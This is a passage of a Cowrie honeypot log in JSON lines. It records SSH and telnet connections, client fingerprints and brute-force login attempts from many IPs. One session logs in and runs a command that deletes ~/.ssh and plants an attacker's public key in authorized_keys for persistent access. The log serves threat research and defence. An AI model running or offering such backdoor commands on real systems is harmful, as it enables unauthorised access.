{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:52.430052Z","src_ip":"159.203.92.129","session":"818ba813d51f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"as","password":"as","message":"login attempt [as/as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:52.440525Z","src_ip":"159.203.92.129","session":"818ba813d51f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:53.446215Z","src_ip":"159.203.92.129","session":"818ba813d51f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.83773708343506,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:58.486611Z","src_ip":"185.26.126.47","session":"cd60d6db1dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.433301210403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:59.110118Z","src_ip":"62.171.135.55","session":"4ab51e82bd1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42886,"dst_ip":"159.203.135.109","dst_port":22,"session":"555c470b391c","protocol":"ssh","message":"New connection: 122.168.114.167:42886 (159.203.135.109:22) [session: 555c470b391c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:17:59.296696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:02.288551Z","src_ip":"122.168.114.167","session":"555c470b391c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:02.293950Z","src_ip":"122.168.114.167","session":"555c470b391c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":3222,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d75340ae71","protocol":"ssh","message":"New connection: 159.223.45.177:3222 (159.203.135.109:22) [session: d9d75340ae71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:03.761233Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"e22a5c876a8f","protocol":"telnet","message":"New connection: 185.173.227.163:54748 (10.17.0.5:23) [session: e22a5c876a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:12.934954Z"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:12.971518Z","src_ip":"159.223.45.177","session":"d9d75340ae71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.122578620910645,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:13.628700Z","src_ip":"185.26.126.47","session":"225d7a544788","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:13.986194Z","src_ip":"122.168.114.167","session":"555c470b391c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53840,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79ea74d1d97","protocol":"telnet","message":"New connection: 185.26.126.47:53840 (159.203.135.109:23) [session: b79ea74d1d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:15.969388Z"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:16.345227Z","src_ip":"122.168.114.167","session":"555c470b391c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":52916,"dst_ip":"10.17.0.5","dst_port":23,"session":"84cb45806623","protocol":"telnet","message":"New connection: 185.173.227.163:52916 (10.17.0.5:23) [session: 84cb45806623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:20.323747Z"}
{"eventid":"cowrie.session.closed","duration":120.00118088722229,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:22.862952Z","src_ip":"104.215.102.116","session":"4235c0798f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00103449821472,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:29.503545Z","src_ip":"104.215.102.116","session":"816a972bb8a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56382,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc913e0cbe6","protocol":"ssh","message":"New connection: 159.203.92.129:56382 (159.203.135.109:22) [session: 9fc913e0cbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:34.381992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:34.387092Z","src_ip":"159.203.92.129","session":"9fc913e0cbe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:34.392390Z","src_ip":"159.203.92.129","session":"9fc913e0cbe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asaf","password":"asaf","message":"login attempt [asaf/asaf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:34.404501Z","src_ip":"159.203.92.129","session":"9fc913e0cbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:35.411217Z","src_ip":"159.203.92.129","session":"9fc913e0cbe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.71.14.98","src_port":51901,"dst_ip":"159.203.135.109","dst_port":23,"session":"a45f404f80b9","protocol":"telnet","message":"New connection: 201.71.14.98:51901 (159.203.135.109:23) [session: a45f404f80b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:35.696885Z"}
{"eventid":"cowrie.session.closed","duration":120.00183725357056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:38.941566Z","src_ip":"104.215.102.116","session":"9d961f850c98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":56482,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff3f076d71f","protocol":"ssh","message":"New connection: 186.80.18.158:56482 (10.17.0.5:22) [session: dff3f076d71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.279429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.283186Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.355840Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@1","message":"login attempt [admin/admin@1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.679045Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.859977Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.864046Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.867503Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:42.942702Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.119423Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.122731Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.198998Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.202712Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":56490,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15409d98763","protocol":"ssh","message":"New connection: 186.80.18.158:56490 (10.17.0.5:22) [session: e15409d98763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.270568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.274863Z","src_ip":"186.80.18.158","session":"e15409d98763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.347557306289673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.282378Z","src_ip":"185.173.227.163","session":"e22a5c876a8f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.349402Z","src_ip":"186.80.18.158","session":"e15409d98763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.57.4.227","src_port":50713,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbe12278ea7","protocol":"telnet","message":"New connection: 167.57.4.227:50713 (10.17.0.5:23) [session: dfbe12278ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.562937Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:43.678200Z","src_ip":"186.80.18.158","session":"e15409d98763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:44.755456Z","src_ip":"186.80.18.158","session":"e15409d98763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":56494,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe664303ccfb","protocol":"ssh","message":"New connection: 186.80.18.158:56494 (10.17.0.5:22) [session: fe664303ccfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:44.832795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:44.837548Z","src_ip":"186.80.18.158","session":"fe664303ccfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp